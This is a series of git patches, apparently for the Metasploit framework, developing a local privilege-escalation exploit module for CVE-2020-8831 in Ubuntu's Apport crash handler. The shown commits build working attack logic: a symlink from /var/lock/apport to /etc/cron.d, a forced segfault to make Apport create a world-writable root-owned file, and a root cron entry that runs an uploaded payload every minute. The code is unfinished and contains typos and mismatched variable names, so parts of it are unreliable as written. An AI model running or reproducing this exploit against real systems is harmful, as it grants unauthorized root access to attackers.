From edc187a0a56cdfb64f4bc32eed71500e02f86ed5 Mon Sep 17 00:00:00 2001 From: Corey Date: Sat, 21 Dec 2024 14:38:13 -0500 Subject: [PATCH 01/47] Init --- .../cve_2020_9931_apport_symlink_privesc.rb | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb new file mode 100644 index 0000000000000..e119d53fa06ea --- /dev/null +++ b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb @@ -0,0 +1,90 @@ +# Randomness itself is a give away of exploitation +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + # TODO get exact apport version after setting up a test environment + # TODO targets in the initialize method and how they work + # TODO other priv esc vectors, startup folders, periodic scripts + # The vunerable version of apport may be available on other systems, distros and versions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ', + 'Description' => %q{ + On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable + to symlink injection. Following a crash Apport will write reports to /var/lock/apport/lock, + an attacker who can create a symlink to a privileged directory via /var/lock/apport will be + able to create files with global 0777 permissions. This module exploits this weaknes by writing + payloads to /etc/crontab/ as the root user. + + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'gardnerapp' # mirageinfosec.cloud + ], + 'References' => [ + [ + 'URL', 'https://nostarch.com/zero-day' # pg. 59 + ] + ], + 'Platform' => 'linux', + 'Targets' => [ + [ + + ] + ], + 'Payload' => { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => '', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + }, + ) + register_options [ + OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))]) + ] + ) + end + + def check + # Check Ubuntu + # Check Release + # Check Apport presence and version + return CheckCode::Safe unless session.platform == 'linux' + + return CheckCode::Safe unless kernel_version =~ /[uU]buntu/ + + # Check apport version + if !command_exists?('apport-cli') + return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') + end + + apport = cmd_exec('apport-cli --version').to_s + + return CheckCode::Detected('Unable to determine apport version') if apport.blank? + + version = Rex::Version.new(apport.split('-').first) + + vulnerable = Rex::Version.new '2.20' + # Were there prior versions of apport which are NOT vulnerableii + # if version < vulnerable return bad + + end + + def exploit + # Methods for + # symlinking /var/lock/apport to /etc/crontab + # Touching a file to this + # verifying the permissions on the file (root ownership) + # writing payloads + # what type of payloads + end + +end \ No newline at end of file From 6854dc033f835899a57b02cbe8326d80193e74c3 Mon Sep 17 00:00:00 2001 From: Corey Date: Sat, 21 Dec 2024 14:39:17 -0500 Subject: [PATCH 02/47] Correct CVE numbering --- ...symlink_privesc.rb => cve_2020_8831_apport_symlink_privesc.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/local/{cve_2020_9931_apport_symlink_privesc.rb => cve_2020_8831_apport_symlink_privesc.rb} (100%) diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb similarity index 100% rename from modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb rename to modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb From f8f0ac5da7cd9d6f8f2ce3721414a288766796b4 Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 24 Dec 2024 08:38:21 -0500 Subject: [PATCH 03/47] finish prototyping the check method --- .../cve_2020_9931_apport_symlink_privesc.rb | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb new file mode 100644 index 0000000000000..9c966b37a5759 --- /dev/null +++ b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb @@ -0,0 +1,104 @@ +# Randomness itself is a give away of exploitation +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::Linux::System + + # TODO get exact apport version after setting up a test environment + # TODO targets in the initialize method and how they work + # TODO other priv esc vectors, startup folders, periodic scripts + # The vunerable version of apport may be available on other systems, distros and versions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ', + 'Description' => %q{ + On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable + to symlink injection. Following a crash Apport will write reports to /var/lock/apport/lock, + an attacker who can create a symlink to a privileged directory via /var/lock/apport will be + able to create files with global 0777 permissions. This module exploits this weaknes by writing + payloads to /etc/crontab/ as the root user. + + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'gardnerapp' # mirageinfosec.cloud + ], + 'References' => [ + [ + 'URL', 'https://nostarch.com/zero-day' # pg. 59 + ] + ], + 'Platform' => 'linux', + 'Targets' => [ + [ + + ] + ], + 'Payload' => { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => '', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + }, + ) + register_options [ + OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))]) + ] + ) + end + + def check + return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' + + return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/ + + # Todo check distro version here + # Determine is xenail, and vxenial release version + + sys_info = get_sysinfo + puts system_info + + distro = sysinfo[:distro] + puts distro + version = sysinfo[:version] + puts system_info + + # Maybe add <||= for the version, need to find out if other kernel versions are vulmerable + if distro != 'Xenial Xerus' || version != '16.04.7' + return CheckCode::Safe('Target is not the correct Linux distro or kernel version') + end + + # Check apport version + if !command_exists?('apport-cli') + return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') + end + + apport = cmd_exec('apport-cli --version').to_s + + return CheckCode::Detected('Unable to determine apport version') if apport.blank? + + version = Rex::Version.new(apport.split('-').first) + + vulnerable = Rex::Version.new '2.20' + # Were there prior versions of apport which are NOT vulnerableii + # if version < vulnerable return bad + end + + def exploit + # Methods for + # symlinking /var/lock/apport to /etc/crontab + # Touching a file to this + # verifying the permissions on the file (root ownership) + # writing payloads + # what type of payloads + end + +end \ No newline at end of file From 9ffec60d0e70b6a4c023c668e3ff2374edd725d4 Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 24 Dec 2024 09:30:56 -0500 Subject: [PATCH 04/47] Begin exploit --- .../cve_2020_9931_apport_symlink_privesc.rb | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb index 9c966b37a5759..ad76eb31c326b 100644 --- a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb @@ -3,6 +3,8 @@ class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Post::File::FileStat # TODO get exact apport version after setting up a test environment # TODO targets in the initialize method and how they work @@ -49,9 +51,6 @@ def initialize(info = {}) 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, ) - register_options [ - OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))]) - ] ) end @@ -93,8 +92,21 @@ def check end def exploit - # Methods for - # symlinking /var/lock/apport to /etc/crontab + # Create symlink + # TODO error handling here, perhaps try and catch statement + # might need to change linked directory + cmd_exec 'ln -s /etc/crontab /var/lock/apport' + + # Crash with segfault to trigger apport + cmd_exec 'sleep 10s & kill -11 $!' + + # need method for seeing if file is owned by root and combine with and gate + # if uid method does not work remove Msf::Post::File::FileStat + if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0 + fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.') + end + + # Touching a file to this # verifying the permissions on the file (root ownership) # writing payloads From 6112b1e1d358a9773d3fcdafe94fd0b736940618 Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 24 Dec 2024 09:50:39 -0500 Subject: [PATCH 05/47] Add targets and write exploit files --- .../cve_2020_9931_apport_symlink_privesc.rb | 39 ++++++++++++++----- 1 file changed, 30 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb index ad76eb31c326b..f4cc4456ebcbc 100644 --- a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb @@ -30,20 +30,35 @@ def initialize(info = {}) ], 'References' => [ [ - 'URL', 'https://nostarch.com/zero-day' # pg. 59 + 'URL', 'https://nostarch.com/zero-day', # pg. 59 + 'URL', 'https://ubuntu.com/security/CVE-2020-8831', + 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' ] ], 'Platform' => 'linux', 'Targets' => [ [ - + 'Linux_Binary', + { + 'Arch' => [ARCH_AARCH64, ARCH_X64] + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD + 'Payload' => + { + 'BadChars' => "\x22\x27" + } + } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, - 'DisclosureDate' => '', + 'DisclosureDate' => '2 April 2020', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -106,11 +121,17 @@ def exploit fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.') end - - # Touching a file to this - # verifying the permissions on the file (root ownership) - # writing payloads - # what type of payloads + print_status 'Uploading payload' + + # create the payload + if target.arch.first == ARCH_CMD + payload = payload.encoded + write_file('/etc/crontab/lock', payload) + else + payload_file = '/tmp/' + Rex::Text.rand_text_alpha(rand(6..13)) + chmod(payload_file) + write_file payload_file, generate_payload_exe + write_file '/etc/crontab/lock', payload_file + end end - end \ No newline at end of file From a1dfc8a22d46647151bf92a375e4b5e933176d5e Mon Sep 17 00:00:00 2001 From: Corey Date: Mon, 20 Jan 2025 15:58:18 -0500 Subject: [PATCH 06/47] Add opts, update description, break up exploit method --- .../cve_2020_8831_apport_symlink_privesc.rb | 121 ++++++++++++---- .../cve_2020_9931_apport_symlink_privesc.rb | 137 ------------------ 2 files changed, 93 insertions(+), 165 deletions(-) delete mode 100644 modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index e119d53fa06ea..2119e66784a9c 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -2,23 +2,25 @@ class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking - # TODO get exact apport version after setting up a test environment + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Post::File::FileStat + # TODO targets in the initialize method and how they work # TODO other priv esc vectors, startup folders, periodic scripts - # The vunerable version of apport may be available on other systems, distros and versions - + # change name to apport exploit, checking lesser version of apport in check method, are they vunerable? def initialize(info = {}) super( update_info( info, - 'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ', + 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', 'Description' => %q{ - On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable - to symlink injection. Following a crash Apport will write reports to /var/lock/apport/lock, + On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable + to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be - able to create files with global 0777 permissions. This module exploits this weaknes by writing - payloads to /etc/crontab/ as the root user. - + able to create files with global 0777 permissions. This module exploits this weaknes by creating a + symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with + elevated permissions. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -26,20 +28,35 @@ def initialize(info = {}) ], 'References' => [ [ - 'URL', 'https://nostarch.com/zero-day' # pg. 59 + 'URL', 'https://nostarch.com/zero-day', # pg. 59 + 'URL', 'https://ubuntu.com/security/CVE-2020-8831', + 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' ] ], 'Platform' => 'linux', 'Targets' => [ [ - + 'Linux_Binary', + { + 'Arch' => [ARCH_AARCH64, ARCH_X64] + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD + 'Payload' => + { + 'BadChars' => "\x22\x27" + } + } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, - 'DisclosureDate' => '', + 'DisclosureDate' => '2 April 2020', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -47,19 +64,28 @@ def initialize(info = {}) 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, ) - register_options [ - OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))]) - ] + ) + + register_options( + OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), + OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), + OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]), + OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) ) end def check - # Check Ubuntu - # Check Release - # Check Apport presence and version - return CheckCode::Safe unless session.platform == 'linux' + return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' + + return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/ - return CheckCode::Safe unless kernel_version =~ /[uU]buntu/ + sys_info = get_sysinfo + puts system_info + + distro = sysinfo[:distro] + puts distro + version = sysinfo[:version] + puts system_info # Check apport version if !command_exists?('apport-cli') @@ -75,16 +101,55 @@ def check vulnerable = Rex::Version.new '2.20' # Were there prior versions of apport which are NOT vulnerableii # if version < vulnerable return bad - end - def exploit - # Methods for - # symlinking /var/lock/apport to /etc/crontab - # Touching a file to this - # verifying the permissions on the file (root ownership) - # writing payloads - # what type of payloads + # hijack symlink by creating apport crash + def hijack_apport + # Create symlink + # might need to change linked directory + cmd_exec 'ln -s /etc/cron.d /var/lock/apport' + + # CreatE crash and trigger apport + cmd_exec 'sleep 10s & kill -11 $!' + + # need method for seeing if file is owned by root and combine with and gate + # if uid method does not work remove Msf::Post::File::FileStat + if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0 + fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.') + end + end + + def write_payload + print_status 'Uploading payload' + + pay_dir = datastore['WritableDir'] + + pay_dir += '/' unless pay_dir.ends_with? '/' + + pay_file = datastore['PayloadFilename'] + + @pay_dest = "#{pay_dir}#{pay_file}" + + # create the payload + if target.arch.first == ARCH_CMD + payload = payload.encoded + upload_and_chmodx pay_dest, payload + else + upload_and_chmodx pay_dest, generate_payload_exe + end end + def write_cron + cron_file = datastore['CRON_FILENAME'] + cron_interval = datastore['CRON_INTERVAL'] + write_file(cron_file, "#{cron_interval} #{@pay_file}") + end + + def exploit + hijack_apport + + write_payload + + write_cron + end end \ No newline at end of file diff --git a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb deleted file mode 100644 index f4cc4456ebcbc..0000000000000 --- a/modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb +++ /dev/null @@ -1,137 +0,0 @@ -# Randomness itself is a give away of exploitation -class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking - - include Msf::Post::Linux::System - include Msf::Post::File - include Msf::Post::File::FileStat - - # TODO get exact apport version after setting up a test environment - # TODO targets in the initialize method and how they work - # TODO other priv esc vectors, startup folders, periodic scripts - # The vunerable version of apport may be available on other systems, distros and versions - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ', - 'Description' => %q{ - On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable - to symlink injection. Following a crash Apport will write reports to /var/lock/apport/lock, - an attacker who can create a symlink to a privileged directory via /var/lock/apport will be - able to create files with global 0777 permissions. This module exploits this weaknes by writing - payloads to /etc/crontab/ as the root user. - - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'gardnerapp' # mirageinfosec.cloud - ], - 'References' => [ - [ - 'URL', 'https://nostarch.com/zero-day', # pg. 59 - 'URL', 'https://ubuntu.com/security/CVE-2020-8831', - 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' - ] - ], - 'Platform' => 'linux', - 'Targets' => [ - [ - 'Linux_Binary', - { - 'Arch' => [ARCH_AARCH64, ARCH_X64] - } - ], - [ - 'Linux_Command', - { - 'Arch' => ARCH_CMD - 'Payload' => - { - 'BadChars' => "\x22\x27" - } - } - ] - ], - 'Payload' => { - 'BadChars' => "\x00" - }, - 'Privileged' => false, - 'DisclosureDate' => '2 April 2020', - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] - }, - ) - ) - end - - def check - return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' - - return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/ - - # Todo check distro version here - # Determine is xenail, and vxenial release version - - sys_info = get_sysinfo - puts system_info - - distro = sysinfo[:distro] - puts distro - version = sysinfo[:version] - puts system_info - - # Maybe add <||= for the version, need to find out if other kernel versions are vulmerable - if distro != 'Xenial Xerus' || version != '16.04.7' - return CheckCode::Safe('Target is not the correct Linux distro or kernel version') - end - - # Check apport version - if !command_exists?('apport-cli') - return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') - end - - apport = cmd_exec('apport-cli --version').to_s - - return CheckCode::Detected('Unable to determine apport version') if apport.blank? - - version = Rex::Version.new(apport.split('-').first) - - vulnerable = Rex::Version.new '2.20' - # Were there prior versions of apport which are NOT vulnerableii - # if version < vulnerable return bad - end - - def exploit - # Create symlink - # TODO error handling here, perhaps try and catch statement - # might need to change linked directory - cmd_exec 'ln -s /etc/crontab /var/lock/apport' - - # Crash with segfault to trigger apport - cmd_exec 'sleep 10s & kill -11 $!' - - # need method for seeing if file is owned by root and combine with and gate - # if uid method does not work remove Msf::Post::File::FileStat - if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0 - fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.') - end - - print_status 'Uploading payload' - - # create the payload - if target.arch.first == ARCH_CMD - payload = payload.encoded - write_file('/etc/crontab/lock', payload) - else - payload_file = '/tmp/' + Rex::Text.rand_text_alpha(rand(6..13)) - chmod(payload_file) - write_file payload_file, generate_payload_exe - write_file '/etc/crontab/lock', payload_file - end - end -end \ No newline at end of file From 483813123dec0fef3b7de41a2fc53df06d45e8e5 Mon Sep 17 00:00:00 2001 From: Corey Date: Wed, 12 Feb 2025 12:01:51 -0500 Subject: [PATCH 07/47] Finish check method --- .../cve_2020_8831_apport_symlink_privesc.rb | 110 +++++++++--------- 1 file changed, 53 insertions(+), 57 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 2119e66784a9c..2eecdb4418dd9 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -1,13 +1,18 @@ -# Randomness itself is a give away of exploitation +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel include Msf::Post::File - include Msf::Post::File::FileStat - # TODO targets in the initialize method and how they work - # TODO other priv esc vectors, startup folders, periodic scripts + # TODO: targets in the initialize method and how they work + # TODO other priv esc vectors, startup folders, periodic scripts # change name to apport exploit, checking lesser version of apport in check method, are they vunerable? def initialize(info = {}) super( @@ -15,25 +20,26 @@ def initialize(info = {}) info, 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', 'Description' => %q{ - On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable - to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, - an attacker who can create a symlink to a privileged directory via /var/lock/apport will be - able to create files with global 0777 permissions. This module exploits this weaknes by creating a - symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with + On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable + to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, + an attacker who can create a symlink to a privileged directory via /var/lock/apport will be + able to create files with global 0777 permissions. This module exploits this weaknes by creating a + symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with elevated permissions. }, 'License' => MSF_LICENSE, - 'Author' => [ - 'gardnerapp' # mirageinfosec.cloud + 'Author' => [ + 'gardnerapp' # mirageinfosec.cloud ], 'References' => [ [ - 'URL', 'https://nostarch.com/zero-day', # pg. 59 - 'URL', 'https://ubuntu.com/security/CVE-2020-8831', - 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' + 'URL', 'https://nostarch.com/zero-day', # pg. 59 + 'URL', 'https://ubuntu.com/security/CVE-2020-8831', + 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' ] ], - 'Platform' => 'linux', + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ [ 'Linux_Binary', @@ -45,16 +51,9 @@ def initialize(info = {}) 'Linux_Command', { 'Arch' => ARCH_CMD - 'Payload' => - { - 'BadChars' => "\x22\x27" - } } ] ], - 'Payload' => { - 'BadChars' => "\x00" - }, 'Privileged' => false, 'DisclosureDate' => '2 April 2020', 'DefaultTarget' => 0, @@ -62,45 +61,40 @@ def initialize(info = {}) 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] - }, + } ) ) - - register_options( + register_options [ OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]), OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) - ) + ] end def check - return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' - - return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/ + return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' - sys_info = get_sysinfo - puts system_info + # Check apport version + if !command_exists?('apport-cli') + return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') + end - distro = sysinfo[:distro] - puts distro - version = sysinfo[:version] - puts system_info + apport = cmd_exec('apport-cli --version').to_s - # Check apport version - if !command_exists?('apport-cli') - return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') - end + return CheckCode::Detected('Unable to determine apport version') if apport.blank? - apport = cmd_exec('apport-cli --version').to_s + # todo determine if prior versions of apport which are NOT vulnerable + apport_version = Rex::Version.new(apport.split('-').first) - return CheckCode::Detected('Unable to determine apport version') if apport.blank? + vulnerable_version = Rex::Version.new('2.20.11') - version = Rex::Version.new(apport.split('-').first) + if apport_version == vulnerable_version + vprint_good("Apport appears to be vulnerable.") + return CheckCode::Appears + end - vulnerable = Rex::Version.new '2.20' - # Were there prior versions of apport which are NOT vulnerableii - # if version < vulnerable return bad + CheckCode::Safe end # hijack symlink by creating apport crash @@ -113,30 +107,32 @@ def hijack_apport cmd_exec 'sleep 10s & kill -11 $!' # need method for seeing if file is owned by root and combine with and gate + # TODO want to check if file is root owned to ensure exploit workedd # if uid method does not work remove Msf::Post::File::FileStat - if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0 - fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.') + #puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}" + if !writable?('/etc/crontab/lock') #|| uid('/etc/crontab/lock') != 0 + fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') end - end + end - def write_payload - print_status 'Uploading payload' + def write_payload + print_status 'Uploading payload' - pay_dir = datastore['WritableDir'] + pay_dir = datastore['WritableDir'] - pay_dir += '/' unless pay_dir.ends_with? '/' + pay_dir += '/' unless pay_dir.ends_with? '/' - pay_file = datastore['PayloadFilename'] + pay_file = datastore['PayloadFilename'] - @pay_dest = "#{pay_dir}#{pay_file}" + @pay_dest = "#{pay_dir}#{pay_file}" # create the payload if target.arch.first == ARCH_CMD payload = payload.encoded upload_and_chmodx pay_dest, payload - else + else upload_and_chmodx pay_dest, generate_payload_exe - end + end end def write_cron @@ -152,4 +148,4 @@ def exploit write_cron end -end \ No newline at end of file +end From 417c1bb48907413a8cec8a0f633fbf38cd5fc064 Mon Sep 17 00:00:00 2001 From: Corey Date: Wed, 12 Feb 2025 13:55:59 -0500 Subject: [PATCH 08/47] Add statuses to hijack apport method --- .../cve_2020_8831_apport_symlink_privesc.rb | 34 +++++++++++-------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 2eecdb4418dd9..c6d1e45d436b3 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -67,12 +67,14 @@ def initialize(info = {}) register_options [ OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), - OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]), OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) ] end def check + # If you are testing the module apport needs to be reinstalled on boot every time with + # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb + # sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test! return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' # Check apport version @@ -84,7 +86,7 @@ def check return CheckCode::Detected('Unable to determine apport version') if apport.blank? - # todo determine if prior versions of apport which are NOT vulnerable + # todo determine if prior versions of apport are vulnerable apport_version = Rex::Version.new(apport.split('-').first) vulnerable_version = Rex::Version.new('2.20.11') @@ -99,32 +101,34 @@ def check # hijack symlink by creating apport crash def hijack_apport - # Create symlink - # might need to change linked directory - cmd_exec 'ln -s /etc/cron.d /var/lock/apport' + # Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock + print_status("Creating symlink...") + link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') + print_status(link) - # CreatE crash and trigger apport + # Create crash and trigger apport + print_status("Triggering crash...") cmd_exec 'sleep 10s & kill -11 $!' # need method for seeing if file is owned by root and combine with and gate # TODO want to check if file is root owned to ensure exploit workedd - # if uid method does not work remove Msf::Post::File::FileStat - #puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}" - if !writable?('/etc/crontab/lock') #|| uid('/etc/crontab/lock') != 0 + if !writable?('/etc/cron.d/lock') fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') + else + print_good("Successfully created /etc/cron.d/lock") end end def write_payload print_status 'Uploading payload' - pay_dir = datastore['WritableDir'] + payload_dir = datastore['WritableDir'] - pay_dir += '/' unless pay_dir.ends_with? '/' + payload_dir += '/' unless pay_dir.ends_with? '/' - pay_file = datastore['PayloadFilename'] + payload_file = datastore['PayloadFilename'] - @pay_dest = "#{pay_dir}#{pay_file}" + @payload_dest = "#{payload_dir}#{payload_file}" # create the payload if target.arch.first == ARCH_CMD @@ -136,9 +140,9 @@ def write_payload end def write_cron - cron_file = datastore['CRON_FILENAME'] + cron_file = '/etc/cron.d/lock' cron_interval = datastore['CRON_INTERVAL'] - write_file(cron_file, "#{cron_interval} #{@pay_file}") + write_file(cron_file, "#{cron_interval} #{@payload_dest}") end def exploit From 18a94bb68afd19c7f0e45b7b7095e77ce6822fd5 Mon Sep 17 00:00:00 2001 From: Corey Date: Fri, 21 Feb 2025 19:33:48 -0500 Subject: 